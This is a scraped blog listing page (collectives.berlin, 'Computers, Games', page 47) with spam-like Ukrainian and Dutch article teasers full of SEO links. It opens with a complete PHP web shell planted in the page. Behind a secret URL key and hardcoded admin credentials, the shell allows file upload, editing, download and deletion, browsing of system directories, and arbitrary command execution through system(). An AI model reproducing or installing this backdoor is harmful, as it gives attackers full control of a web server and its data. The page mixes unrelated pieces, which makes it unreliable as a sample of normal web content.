if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 47 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Ремонт двигуна: коли потрібен і скільки коштує

    Ремонт двигуна є важливою складовою обслуговування автомобіля. Від його стану залежить не лише працездатність транспортного засобу, а й безпека водія та пасажирів. У цьому звіті розглянемо, https://housinginsight.org.ua коли необхідний ремонт двигуна та які витрати можуть виникнути в процесі. Перш ніж розпочати обговорення вартості ремонту, важливо зрозуміти, які симптоми можуть свідчити про необхідність ремонту двигуна. По-перше,…

    Click or not…

  • Зовнішнє оздоблення будинку: естетика та довговічність

    Зовнішнє оздоблення будинку є важливим аспектом архітектурного дизайну, яке не лише впливає на загальний вигляд будівлі, але й визначає її довговічність. Вибір матеріалів та стилю зовнішнього оздоблення може суттєво змінити сприйняття будинку, https://homeonline.net.ua а також його функціональні характеристики. У цьому звіті розглянемо основні аспекти естетики та довговічності зовнішнього оздоблення. Перш за все, естетика зовнішнього оздоблення…

    Click or not…

  • Кібератаки нового покоління: як розпізнати загрозу вчасно

    Кібератаки нового покоління стали серйозною загрозою для організацій, урядів та окремих користувачів по всьому світу. В умовах стрімкого розвитку технологій та збільшення обсягу даних, які обробляються щодня, стає дедалі важче виявити та зупинити ці атаки. У цьому звіті ми розглянемо, що таке кібератаки нового покоління, які їхні основні характеристики, https://digitalguide.in.ua/ а також як їх можна…

    Click or not…

  • Догляд за плодовим садом навесні

    Навесні, коли природа прокидається від зимового сну, https://homestory.net.ua плодові дерева потребують особливого догляду для забезпечення їхнього здоров’я та продуктивності. Цей період є ключовим для формування майбутнього врожаю, тому важливо правильно організувати догляд за садом. У цій статті ми розглянемо основні етапи весняного догляду за плодовими садами. Першим етапом є обстеження дерев. Це необхідно для виявлення…

    Click or not…

  • Як облаштувати інклюзивний простір у лікувальному закладі

    Облаштування інклюзивного простору у лікувальному закладі є важливим кроком до забезпечення доступності медичних послуг для всіх пацієнтів, doctordigest.org.ua незалежно від їх фізичних, сенсорних або інтелектуальних можливостей. Інклюзивний підхід передбачає створення комфортного та безпечного середовища, яке дозволяє кожному пацієнту отримувати необхідну медичну допомогу без бар’єрів. Першим етапом у створенні інклюзивного простору є проведення аудиту існуючої інфраструктури.…

    Click or not…

  • Розслідувальна журналістика: методи та етичні норми

    Розслідувальна журналістика є важливою галуззю журналістики, що зосереджується на виявленні правди щодо суспільно важливих питань. Цей вид журналістики вимагає від журналістів глибокого аналізу, критичного мислення та використання різноманітних методів для збору інформації. У цьому звіті розглянемо основні методи розслідувальної журналістики, in.ua а також етичні норми, які мають дотримуватися журналісти під час виконання своєї роботи. Основними…

    Click or not…

  • Огляд ігрових ноутбуків: характеристики та ціни

    Ігрові ноутбуки стали невід’ємною частиною сучасного геймерського світу, пропонуючи потужність, https://gamesonline.net.ua мобільність та можливість насолоджуватися улюбленими іграми в будь-якому місці. У цьому огляді ми розглянемо основні характеристики, на які варто звернути увагу при виборі ігрового ноутбука, а також середні ціни на такі пристрої. Перш ніж перейти до характеристик, варто зазначити, що ігрові ноутбуки, як правило,…

    Click or not…

  • Як обрати ігрову мишу та клавіатуру

    Вибір ігрової миші та клавіатури є важливим етапом для кожного геймера, playexpert.net.ua оскільки ці пристрої суттєво впливають на комфорт і ефективність гри. У цьому звіті ми розглянемо ключові аспекти, на які слід звернути увагу при виборі цих аксесуарів. Ігрова миша Тип сенсора: Існує два основних типи сенсорів: оптичні та лазерні. Оптичні миші зазвичай забезпечують кращу…

    Click or not…

  • Як написати сильний заголовок, який привертає увагу

    У сучасному інформаційному середовищі, https://reportonline.net.ua де кожен день з’являється безліч нових статей, блогів і реклами, важливо вміти створювати заголовки, які здатні привернути увагу читачів. Сильний заголовок не тільки зацікавлює, але й спонукає до подальшого читання. У цій статті ми розглянемо кілька ключових аспектів, які допоможуть вам написати ефективний заголовок. По-перше, заголовок повинен бути чітким і…

    Click or not…

  • Inzetvereisten bij Manga Casino Uitgelegd

    In de wereld van online gokken zijn inzetvereisten een cruciaal aspect dat spelers moeten begrijpen, vooral bij het spelen in casino’s zoals Manga Casino. Inzetvereisten, ook wel bekend als weddenschapsvereisten, zijn de voorwaarden die een speler moet vervullen voordat zij hun bonus of winsten kunnen opnemen. Dit rapport biedt een gedetailleerde uitleg van deze vereisten…

    Click or not…